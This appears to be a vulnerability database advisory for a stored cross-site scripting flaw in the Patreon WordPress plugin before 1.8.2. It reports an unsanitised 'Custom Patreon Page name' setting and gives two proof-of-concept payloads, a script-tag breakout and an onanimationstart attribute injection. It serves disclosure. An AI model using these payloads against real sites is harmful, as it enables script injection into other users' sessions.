WordPress Plugin Vulnerabilities

Patreon WordPress < 1.8.2 - Admin+ Stored Cross-Site Scripting

Description

The plugin does not sanitise and escape the field "Custom Patreon Page name", which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed

Proof of Concept

Put the following payload in the "Custom Patreon Page name" setting of the plugin and save them:

v < 1.8.0: "><script>alert(/XSS/)</script>
v < 1.8.2: " style=animation-name:rotation onanimationstart=alert(/XSS/)//
